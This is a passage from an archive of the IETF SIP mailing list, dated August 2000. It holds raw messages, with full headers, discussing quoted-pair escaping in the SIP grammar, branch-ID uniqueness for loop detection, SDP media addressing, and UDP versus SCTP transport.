have launched IPTelephonyJobs.com. The site is dedicated to IP Telephony professionals. The following areas are specifically targeted among others: VoIP (h.323, mgcp, sip, megaco, call agents...) PSTN(ss7, isdn, ain/in,..) Wireless(gprs, cdma, gsm,...) IP Routing/Switching + others Services offered to Job Seekers: - Profile only entries lets you keep your personal information private. - Profile + Resume entries lets the employer have a better understanding of your background. - Control access to your resume on demand. So just drop by our site and fill in your profile. http://www.iptelephonyjobs.com jobs@iptelephonyjobs.com ------=_NextPart_000_0000_01C01219.32131E50 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable
Hello,
 
   We have = launched=20 IPTelephonyJobs.com. The site is
dedicated to IP Telephony = professionals.=20 The following
areas are specifically targeted among = others:
 
     VoIP=20 (h.323, mgcp, sip, megaco, call agents...)
     = PSTN(ss7, isdn, ain/in,..)
     Wireless(gprs, = cdma,=20 gsm,...)
     IP=20 Routing/Switching
     + others
 
Services offered to = Job=20 Seekers:
 
 - Profile only = entries lets=20 you keep your personal information private.
 
 - Profile + = Resume entries=20 lets the employer have a better understanding of your=20 background. 
 
 - Control = access to your=20 resume on demand.
 
So just drop by our = site and fill=20 in your profile.
 
http://www.iptelephonyjobs.com
 

jobs@iptelephonyjobs.com
------=_NextPart_000_0000_01C01219.32131E50-- _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Wed Aug 30 03:40:28 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id DAA21799 for ; Wed, 30 Aug 2000 03:40:27 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id 42B9044349; Wed, 30 Aug 2000 02:38:48 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from cs.columbia.edu (cs.columbia.edu [128.59.16.20]) by lists.bell-labs.com (Postfix) with ESMTP id DFA7D4433F for ; Wed, 30 Aug 2000 02:38:44 -0400 (EDT) Received: from cs.columbia.edu (bart.cs.columbia.edu [128.59.19.191]) by cs.columbia.edu (8.9.3/8.9.3) with ESMTP id DAA25094; Wed, 30 Aug 2000 03:38:33 -0400 (EDT) Message-ID: <39ACBC1D.1B804BA1@cs.columbia.edu> Date: Wed, 30 Aug 2000 03:47:41 -0400 From: Henning Schulzrinne X-Mailer: Mozilla 4.73 [en] (Windows NT 5.0; U) X-Accept-Language: en MIME-Version: 1.0 To: brian.bidulock@inet.com Cc: Gethin Liddell , sip@lists.bell-labs.com Subject: Re: [SIP] white space and SIP References: <399D4CAC.6A3BAAD@dynamicsoft.com> <00082916230402.06912@gethin> <20000829105139.D12739@inet.com> <00082917240403.06912@gethin> <20000829115813.F12739@inet.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com Content-Transfer-Encoding: 7bit I would like to stay compatible with the DRUMS (revision of RFC 822) work, even though escaping will practically only be used in limited circumstances. I don't think it's worth diverging here. "Brian F. G. Bidulock" wrote: > > Gethin, > > Gethin Liddell wrote: (16:58:05 +0100 Tue, 29 Aug 2000) > [snip] > > > > what is the point in backslashing 0x08? the only characters that MUST > > Sorry, I meant 0x09. > > > be escaped are `"' in quoted string and `(' and `)' in comment (you > > can have sub-comments). there is absolutely no need what so ever to > > escape any other characters. so why did i leave them in the BNF? > > because if i had of removed them someone else would have complained > > about that. besides i suppose this way is more backwards compatible if > > you really want an explanation (and that's the nearest it gets ;) ). > > `nuff said. > > > and of course, we can now parse quoted string and comment by simply > > ignoring any character after a `\' without having to validate it to one > > of `"', `(' and `)' (assuming of course that we have stripped line > > folding prior to this :) ). > > Speaking of line folding, now when I am folding lines I must watch out > for the construction [\\][ \t], otherwise I might erroneously place a LF > where the space was and violate the new BNF. Otherwise, I have to scan > through and remove those constructions. (I know, you'll say don't build > them that way in the first place, but most headers I don't create as a > proxy, I receive them.) How about excluding %x09 and %x20 from the list > as well? That way I know that I can always fold a line at TAB or SP. > > quoted-pair = "\" (0x00 - 0x08 | 0x0b | 0x0c | 0x0e - 0x1f | 0x21 - 0x7f) > > -- > Brian F. G. Bidulock > brian.bidulock@inet.com > > _______________________________________________ > SIP mailing list > SIP@lists.bell-labs.com > http://lists.bell-labs.com/mailman/listinfo/sip _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Wed Aug 30 04:39:13 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id EAA22350 for ; Wed, 30 Aug 2000 04:39:13 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id 77C484433F; Wed, 30 Aug 2000 03:39:10 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from bfgbhome.inetint.com (tnt-dal-42-232.dallas.net [209.44.42.232]) by lists.bell-labs.com (Postfix) with ESMTP id 4212B44336 for ; Wed, 30 Aug 2000 03:39:05 -0400 (EDT) Received: (from brian@localhost) by bfgbhome.inetint.com (8.9.3/8.9.3) id DAA04492; Wed, 30 Aug 2000 03:38:42 -0500 Date: Wed, 30 Aug 2000 03:38:42 -0500 From: "Brian F. G. Bidulock" To: Henning Schulzrinne Cc: Gethin Liddell , sip@lists.bell-labs.com Subject: Re: [SIP] white space and SIP Message-ID: <20000830033842.A4305@inet.com> Reply-To: brian.bidulock@inet.com Mail-Followup-To: Henning Schulzrinne , Gethin Liddell , sip@lists.bell-labs.com Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2i In-Reply-To: <39ACBC1D.1B804BA1@cs.columbia.edu>; from schulzrinne@cs.columbia.edu on Wed, Aug 30, 2000 at 03:47:41AM -0400 Organization: Inet Technologies, Inc. X-Testing: "\ Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com \ \ " Henning, What makes the DRUMS case any different? Backward compatibility? Does this mean to be backwards compatible I should still continue to squeeze received quoted text with [^\\]([\\].)* but only generate per the BNF? I thought that this was handled by the cannonical form: as in, the cannonical form expresses what I should send, whereas, the BNF expresses what I should receive (if I am a server). Are you saying that I should replace my server expressions from [^\\]([\\].)* to [^\\]([\\][\x00-\x08\x0b\x0c\x0e-\x7f])* I think it makes sense to still use [^\\]([\\].)* regardless of the definition of quoted-pair and use the cannonical rules when sending. Quite frankly, I think [\\][\n] in a comment is a pretty natural language kinda thing when trying to mark up a message by hand or include human readible debuggin information. Did DRUMS have some reasons why they did this? --Brian Henning Schulzrinne wrote: (03:47:41 -0400 Wed, 30 Aug 2000) > I would like to stay compatible with the DRUMS (revision of RFC 822) > work, even though escaping will practically only be used in limited > circumstances. I don't think it's worth diverging here. > > "Brian F. G. Bidulock" wrote: > > > > Gethin, > > > > Gethin Liddell wrote: (16:58:05 +0100 Tue, 29 Aug 2000) > > [snip] > > > > > > what is the point in backslashing 0x08? the only characters that MUST > > > > Sorry, I meant 0x09. > > > > > be escaped are `"' in quoted string and `(' and `)' in comment (you > > > can have sub-comments). there is absolutely no need what so ever to > > > escape any other characters. so why did i leave them in the BNF? > > > because if i had of removed them someone else would have complained > > > about that. besides i suppose this way is more backwards compatible if > > > you really want an explanation (and that's the nearest it gets ;) ). > > > > `nuff said. > > > > > and of course, we can now parse quoted string and comment by simply > > > ignoring any character after a `\' without having to validate it to one > > > of `"', `(' and `)' (assuming of course that we have stripped line > > > folding prior to this :) ). > > > > Speaking of line folding, now when I am folding lines I must watch out > > for the construction [\\][ \t], otherwise I might erroneously place a LF > > where the space was and violate the new BNF. Otherwise, I have to scan > > through and remove those constructions. (I know, you'll say don't build > > them that way in the first place, but most headers I don't create as a > > proxy, I receive them.) How about excluding %x09 and %x20 from the list > > as well? That way I know that I can always fold a line at TAB or SP. > > > > quoted-pair = "\" (0x00 - 0x08 | 0x0b | 0x0c | 0x0e - 0x1f | 0x21 - 0x7f) > > -- Brian F. G. Bidulock brian.bidulock@inet.com _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Wed Aug 30 04:47:18 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id EAA22400 for ; Wed, 30 Aug 2000 04:47:17 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id DCB784434E; Wed, 30 Aug 2000 03:46:14 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from ubiquity.net (mail.ubiquity.net [194.128.96.72]) by lists.bell-labs.com (Postfix) with ESMTP id E03F744349 for ; Wed, 30 Aug 2000 03:46:02 -0400 (EDT) Received: from gethin by ubiquity.net with SMTP (8.8.8+Sun/25-eef) id JAA13632; Wed, 30 Aug 2000 09:43:39 +0100 (BST) From: Gethin Liddell Organization: Ubiquity Software Corp. To: Henning Schulzrinne , brian.bidulock@inet.com Subject: Re: [SIP] white space and SIP Date: Wed, 30 Aug 2000 09:33:31 +0100 X-Mailer: KMail [version 1.0.29.2] Content-Type: text/plain Cc: sip@lists.bell-labs.com References: <399D4CAC.6A3BAAD@dynamicsoft.com> <20000829115813.F12739@inet.com> <39ACBC1D.1B804BA1@cs.columbia.edu> In-Reply-To: <39ACBC1D.1B804BA1@cs.columbia.edu> MIME-Version: 1.0 Message-Id: <00083009383202.07195@gethin> Content-Transfer-Encoding: 8bit Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com Content-Transfer-Encoding: 8bit On Wed, 30 Aug 2000, Henning Schulzrinne wrote: > I would like to stay compatible with the DRUMS (revision of RFC 822) > work, even though escaping will practically only be used in limited > circumstances. I don't think it's worth diverging here. agreed. also there are far too many implementations out there that will not want any more changes to this as their code will work fine at the moment but to start removing more stuff will mess them up. And it is such an insignificant part of sip anyway. gethin -- Gethin Liddell Ubiquity Software Corporation http://www.ubiquity.net mailto:gethin@ubiquity.net _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Wed Aug 30 04:50:55 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id EAA22447 for ; Wed, 30 Aug 2000 04:50:55 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id 832F944352; Wed, 30 Aug 2000 03:50:34 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from bfgbhome.inetint.com (tnt-dal-42-232.dallas.net [209.44.42.232]) by lists.bell-labs.com (Postfix) with ESMTP id 9F5E444349 for ; Wed, 30 Aug 2000 03:50:29 -0400 (EDT) Received: (from brian@localhost) by bfgbhome.inetint.com (8.9.3/8.9.3) id DAA04648; Wed, 30 Aug 2000 03:49:21 -0500 Date: Wed, 30 Aug 2000 03:49:21 -0500 From: "Brian F. G. Bidulock" To: Henning Schulzrinne , Gethin Liddell , sip@lists.bell-labs.com Subject: Re: [SIP] white space and SIP Message-ID: <20000830034921.A4582@inet.com> Reply-To: brian.bidulock@inet.com Mail-Followup-To: Henning Schulzrinne , Gethin Liddell , sip@lists.bell-labs.com References: <39ACBC1D.1B804BA1@cs.columbia.edu> <20000830033842.A4305@inet.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2i In-Reply-To: <20000830033842.A4305@inet.com>; from brian.bidulock@inet.com on Wed, Aug 30, 2000 at 03:38:42AM -0500 Organization: Inet Technologies, Inc. Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com Henning, Forget it. Judging from what happened to my last header line nobody handles it for 822 anyway! Looks like there are those replacing any [\\][^\"] in a quoted string with [^\"] before doing anything else. My escaped LFs turned into LF LF and the rest jumped into the body. Brian Bidulock wrote: (03:38:42 -0500 Wed, 30 Aug 2000) > \ <-------- > \ <-------- > " <-------- > > Henning, > > What makes the DRUMS case any different? Backward compatibility? Does > this mean to be backwards compatible I should still continue to squeeze [snip] -- Brian F. G. Bidulock brian.bidulock@inet.com _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Wed Aug 30 05:31:50 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id FAA22796 for ; Wed, 30 Aug 2000 05:31:50 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id EEC3344349; Wed, 30 Aug 2000 04:30:35 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from ubiquity.net (mail.ubiquity.net [194.128.96.72]) by lists.bell-labs.com (Postfix) with ESMTP id 52C0E44336 for ; Wed, 30 Aug 2000 04:30:31 -0400 (EDT) Received: from jhornsby by ubiquity.net with SMTP (8.8.8+Sun/25-eef) id KAA08652; Wed, 30 Aug 2000 10:28:42 +0100 (BST) From: "Jo Hornsby" To: "Jonathan Rosenberg" Cc: "Loita Jahnsson" , Subject: RE: [SIP] transaction identification Date: Wed, 30 Aug 2000 10:28:43 +0100 Message-ID: <003f01c01264$b05369a0$4e34c3c1@ubiquity.co.uk> MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook 8.5, Build 4.71.2377.0 Importance: Normal X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2314.1300 In-Reply-To: <39AC83A0.68A61CA@dynamicsoft.com> Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com Content-Transfer-Encoding: 7bit > > > An interesting wrinkle I just thought of - stateless > > > proxies. They need to be sure that the branch-ID they insert is > > > unique, but also the same for retransmitted requests within the > > > same transaction. I suppose this can be done by having them > > > compute the branch ID param as a hash of the To, From, Call-ID, > > > CSeq, R-URI and top Via of the incoming request, along with the > > > process-ID, IP address or some other invariant unique to each > > > proxy instance. This should probably also be noted in the spec. > > > > Cool. Can we now remove the > > "A server that is capable of hiding Via headers MUST attempt to > > decrypt all Via headers marked as "hidden" to perform loop detection. > > Servers that are not capable of hiding can ignore hidden Via fields > > in their loop detection algorithm." > > paragraph (Section 6.25 of bis01), then, since this is now > > unnecessary to detect loops? > > I am missing something here; why does this eliminate loop detection? It doesn't eliminate Loop Detection, but it means that you don't need to waste time decrypting Vias to check for loops. Previously, I was concerned that this was a bogus approach, since if you attempt to detect Loops by decrypting Vias, any ACKs or CANCELs relating to this request would be ambiguous (would they be for the "first" time you "saw" the request, or for the "second"?). This is because there was no guarantee that the branch parameter would be different in each case. Requiring that the branch parameter is always unique alleviates this problem; however, since you suggest adding some other invariant, it now becomes possible for a proxy to identify its "own" branch parameters. Thus decrypting Vias for the sole purpose of checking for Loops becomes rendundant. - Jo. _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Wed Aug 30 08:20:51 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id IAA25936 for ; Wed, 30 Aug 2000 08:20:50 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id 7902844352; Wed, 30 Aug 2000 07:17:52 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from ivigate.intervoice.com (ivigate.intervoice.com [208.200.21.196]) by lists.bell-labs.com (Postfix) with ESMTP id 7D5B244336 for ; Tue, 29 Aug 2000 16:18:28 -0400 (EDT) Received: from itmail-ict1.wichita.brite.com (itmail-ict1.wichita.brite.com [151.214.5.174]) by ivigate.intervoice.com (Build 98 8.9.3/NT-8.9.3) with ESMTP id QAA04872; Tue, 29 Aug 2000 16:18:36 -0500 Received: by itmail-ict1-imc.wichita.brite.com with Internet Mail Service (5.5.2448.0) id ; Tue, 29 Aug 2000 16:12:08 -0500 Message-ID: From: "Culpepper, Bert" To: Chris Durand , "'sip@lists.bell-labs.com'" Subject: RE: [SIP] separate SIP and stream addresses Date: Tue, 29 Aug 2000 16:12:07 -0500 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2448.0) Content-Type: text/plain; charset="iso-8859-1" Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com See comments below... > -----Original Message----- > From: Chris Durand [mailto:CDurand@Spectralink.com] > Sent: Tuesday, August 29, 2000 4:40 PM > To: 'sip@lists.bell-labs.com' > Subject: [SIP] separate SIP and stream addresses > > > I'm new to SIP and want to make sure I understand how addressing of the > streams is done. In particular, I want to check that it is not required that > the audio be routed to the same IP address as the SIP messages. > For example if I want all SIP messages to be sent to 192.168.200.1, but I > want the audio for a particular call to be sent to 192.168.200.5, port 3456 > , is it legal to do the following: > > C->S: INVITE sip:test@test.address.com SIP/2.0 > Via: SIP/2.0/UDP some.server.com > From: 192.168.200.1 > To: Test > Call-ID: 662606876@192.168.200.1 > CSeq: 1 INVITE > Contact: 192.168.200.1 > Subject: Send audio there, no here. > Content-Type: application/sdp > Content-Length: ... > > v=0 > o=- 53655765 2353687637 IN IP4 192.168.200.1 > s=Please send audio here. > t=3149328600 0 > c=IN IP4 192.168.200.5 <---- address to send RTP packets to > m=audio 3456 RTP/AVP 0 3 > a=rtpmap:0 PCMU/8000 > a=rtpmap:3 GSM/8000 > > Note that the address in "From"/"Contact" is different from the address in > "c=". Is this the proper way to do it? Yes. In fact, you can send the two media types to different destinations with the following SDP. v=0 o=- 53655765 2353687637 IN IP4 192.168.200.1 s=Please send audio here. t=3149328600 0 m=audio 3456 RTP/AVP 0 c=IN IP4 192.168.200.5 <---- address to send G.711 RTP packets to a=rtpmap:0 PCMU/8000 m=audio 3456 RTP/AVP 3 c=IN IP4 192.168.200.6 <---- address to send GSM RTP packets to a=rtpmap:3 GSM/8000 > Thanks > > > _______________________________________________ > SIP mailing list > SIP@lists.bell-labs.com > http://lists.bell-labs.com/mailman/listinfo/sip > _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Wed Aug 30 08:27:15 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id IAA26138 for ; Wed, 30 Aug 2000 08:27:15 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id E7C0A44358; Wed, 30 Aug 2000 07:18:13 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from westhost16.westhost.net (westhost16.westhost.com [216.71.84.74]) by lists.bell-labs.com (Postfix) with ESMTP id 1359D44336 for ; Tue, 29 Aug 2000 17:09:10 -0400 (EDT) Received: from ipunity.com (w226.z208176132.sjc-ca.dsl.cnc.net [208.176.132.226]) by westhost16.westhost.net (8.8.5/8.8.5) with ESMTP id RAA23778; Tue, 29 Aug 2000 17:02:23 -0500 Message-ID: <39AC34A8.6FB43B4F@ipunity.com> Date: Tue, 29 Aug 2000 15:09:45 -0700 From: jimmy Zhang X-Mailer: Mozilla 4.7 [en] (X11; U; SunOS 5.7 sun4u) X-Accept-Language: en MIME-Version: 1.0 To: vkg@lucent.com Cc: Subramania Sivaram , sip@lists.bell-labs.com Subject: Re: [SIP] Last Call: Reliability of Provisional Responses in SIP to Proposed Standard References: <53BA505BEC72D21194400000E216A244032088F4@wslexch.wipsys.soft.net> <39AAD058.9877FEC@lucent.com> Content-Type: multipart/alternative; boundary="------------B70F6147970566EC17196C6B" Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com --------------B70F6147970566EC17196C6B Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit "Vijay K. Gurbani" wrote: > Subramania Sivaram wrote: > > > > This document looks good. However, being new to this mailing list, I > > have a fundamental question. Why was it chosen to support a call > > control protocol like SIP over an unreliable transport protocol like > > UDP. HTTP, on which SIP is based, works over a reliable transport, > > all call control protocols in the PSTN world, like SS7, Q.931 etc. > > work over a reliable transport. > [...] > > In a nutshell, timing and speed. A signaling protocol like SIP needs > finer access to timeouts and a fast transport. TCP's three-way hand- > shake can take to the order of a few milliseconds on a LAN to hundreds > of milliseconds or a few seconds on a WAN. > > UDP provides SIP with a finer grain access to timing information as well > as a fast transport. Unfortunately, that comes with the disadvantage of > implementing re-transmission and ordering of packets. > > Jonathan Rosenberg has a I-D on transporting SIP over SCTP, which is > being designed to be a faster (than TCP) and lighter (than TCP) > transport protocol, but having some of the same reliability mechanisms > as TCP. > I thought SCTP is an application level protocol that is designed to be transported over TCP/IP. My question is why it would be faster than TCP/IP. Also what is the point of build an application level protocol on top of another? > > I am sure there are other reasons besides timing and speed; I can think > of these two off the top of my head. > > Regards, > > - vijay > -- > Vijay K. Gurbani vkg@lucent.com vkg@research.bell-labs.com vkg@acm.org > Internet Software Group/Intelligent Network and Instant Messaging > Lucent Technologies/Bell Labs Innovations, 263 Shuman Blvd, Rm 1A-413 > Naperville, Illinois 60566 Voice: +1 630 224 0216 Fax: +1 630 713 0184 > > _______________________________________________ > SIP mailing list > SIP@lists.bell-labs.com > http://lists.bell-labs.com/mailman/listinfo/sip -- Jimmy zhang (jz@ipunity.com) Software Engineer --------------B70F6147970566EC17196C6B Content-Type: text/html; charset=us-ascii Content-Transfer-Encoding: 7bit "Vijay K. Gurbani" wrote:
Subramania Sivaram wrote:
>
> This document looks good. However, being new to this mailing list, I
> have a fundamental question. Why was it chosen to support a call
> control protocol like SIP over an unreliable transport protocol like
> UDP. HTTP, on which SIP is based, works over a reliable transport,
> all call control protocols in the PSTN world, like SS7, Q.931 etc.
> work over a reliable transport.
[...]

In a nutshell, timing and speed.  A signaling protocol like SIP needs
finer access to timeouts and a fast transport.  TCP's three-way hand-
shake can take to the order of a few milliseconds on a LAN to hundreds
of milliseconds or a few seconds on a WAN.

UDP provides SIP with a finer grain access to timing information as well
as a fast transport.  Unfortunately, that comes with the disadvantage of
implementing re-transmission and ordering of packets.

Jonathan Rosenberg has a I-D on transporting SIP over SCTP, which is
being designed to be a faster (than TCP) and lighter (than TCP)
transport protocol, but having some of the same reliability mechanisms
as TCP.
 

I thought SCTP is an application level protocol that is designed to be transported
over TCP/IP. My question is why it would be faster than TCP/IP. Also what is
the point of build an application level protocol on top of another?
 
 
 
 
I am sure there are other reasons besides timing and speed; I can think
of these two off the top of my head.

Regards,

- vijay
--
Vijay K. Gurbani  vkg@lucent.com vkg@research.bell-labs.com vkg@acm.org
Internet Software Group/Intelligent Network and Instant Messaging
Lucent Technologies/Bell Labs Innovations, 263 Shuman Blvd, Rm 1A-413
Naperville, Illinois 60566  Voice: +1 630 224 0216 Fax: +1 630 713 0184

_______________________________________________
SIP mailing list
SIP@lists.bell-labs.com
http://lists.bell-labs.com/mailman/listinfo/sip

-- 


Jimmy zhang (jz@ipunity.com)

Software Engineer
  --------------B70F6147970566EC17196C6B-- _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Wed Aug 30 08:31:18 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id IAA26455 for ; Wed, 30 Aug 2000 08:31:17 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id BCB174435D; Wed, 30 Aug 2000 07:18:23 -0400 (EDT) Delivered-To: sip@share.research.bell-labs.com Received: from crufty.research.bell-labs.com (crufty.research.bell-labs.com [204.178.16.49]) by lists.bell-labs.com (Postfix) with SMTP id 999EF44336 for ; Tue, 29 Aug 2000 17:50:02 -0400 (EDT) Received: from lists.bell-labs.com ([135.104.27.211]) by crufty; Tue Aug 29 18:49:28 EDT 2000 Received: by lists.bell-labs.com (Postfix) id 96F2344344; Tue, 29 Aug 2000 18:36:19 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from ans.ih.lucent.com (ans.ih.lucent.com [135.2.78.5]) by lists.bell-labs.com (Postfix) with SMTP id 3DD4044341 for ; Tue, 29 Aug 2000 18:36:19 -0400 (EDT) Received: by ans.ih.lucent.com (SMI-8.6/EMS-1.5 sol2) id RAA16487; Tue, 29 Aug 2000 17:36:15 -0500 Cc: sip@lists.bell-labs.com Received: from lucent.com by ans.ih.lucent.com (SMI-8.6/EMS-1.5 sol2) id RAA16480; Tue, 29 Aug 2000 17:36:14 -0500 Message-ID: <39AC3ADD.253D70A5@lucent.com> Date: Tue, 29 Aug 2000 17:36:13 -0500 From: "Vijay K. Gurbani" Reply-To: vkg@lucent.com Organization: Intelligent Network/Messaging Systems & Internet Software Group X-Mailer: Mozilla 4.61 [en] (Win95; U) X-Accept-Language: en MIME-Version: 1.0 To: jimmy Zhang Original-CC: sip@lists.bell-labs.com Subject: Re: [SIP] Last Call: Reliability of Provisional Responses in SIP to Proposed Standard References: <53BA505BEC72D21194400000E216A244032088F4@wslexch.wipsys.soft.net> <39AAD058.9877FEC@lucent.com> <39AC34A8.6FB43B4F@ipunity.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com Content-Transfer-Encoding: 7bit jimmy Zhang wrote: > I thought SCTP is an application level protocol that is designed to be > transported over TCP/IP. It is -- for now. I belive the intent is for it to be another transport in addition to UDP and TCP and reside at the transport layer, or if it does not reside at the transport layer, to directly use the services of the IP layer (a la ICMP or OSPF). BTW, IP had another "faster than TCP" but "more reliable than UDP" protocol called RDP (Reliable Datagram Protocol) -- don't know why it never caught on (if you look in your /etc/protocols file, you may still find an entry for it). W. Richard Stevens in one of his seminal books proposes T/TCP (Transaction Oriented TCP) to be in much the same vein. Don't know why it never caught on, either. > My question is why it would be faster than TCP/IP. Take a look at http://search.ietf.org/internet-drafts/draft-ietf-sigtran-sctp-13.txt for many reasons. > Also what is the point of build an application level protocol on top > of another? Quick acceptance. Until (and unless?) vendors modify their IP kernels to support another transport protocol, the easiest and most portable way is to run it as an application level protocol. I believe vendor support is coming soon. Sun folks are talking about using SCTP for AAA. Storage Area Network folks are talking about it as well. Regards, - vijay -- Vijay K. Gurbani vkg@lucent.com vkg@research.bell-labs.com vkg@acm.org Internet Software Group/Intelligent Network and Instant Messaging Lucent Technologies/Bell Labs Innovations, 263 Shuman Blvd, Rm 1A-413 Naperville, Illinois 60566 Voice: +1 630 224 0216 Fax: +1 630 713 0184 _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Wed Aug 30 08:34:36 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id IAA26687 for ; Wed, 30 Aug 2000 08:34:36 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id C98A144360; Wed, 30 Aug 2000 07:18:37 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from penguin-ext.wise.edt.ericsson.se (penguin-ext.wise.edt.ericsson.se [194.237.142.110]) by lists.bell-labs.com (Postfix) with ESMTP id A89FB4433F for ; Wed, 30 Aug 2000 02:45:51 -0400 (EDT) Received: from era-t.ericsson.se (koff.ericsson.se [147.214.173.137]) by penguin.wise.edt.ericsson.se (8.11.0/8.10.1/WIREfire-1.3) with SMTP id e7U7jhw04866; Wed, 30 Aug 2000 09:45:43 +0200 (MEST) Received: from era-t.ericsson.se by era-t.ericsson.se (SMI-8.6/LME-DOM-2.2.5(ERA/T)) id JAA21389; Wed, 30 Aug 2000 09:45:42 +0200 Message-ID: <39ACBB84.737CAEBE@era-t.ericsson.se> Date: Wed, 30 Aug 2000 09:45:08 +0200 From: Johan Hjelm Organization: Ericsson Research T/K X-Mailer: Mozilla 4.6 [en] (Win98; I) X-Accept-Language: sv,en MIME-Version: 1.0 To: w3c-mobile-ig@w3.org, www-mobile@w3.org Content-Type: 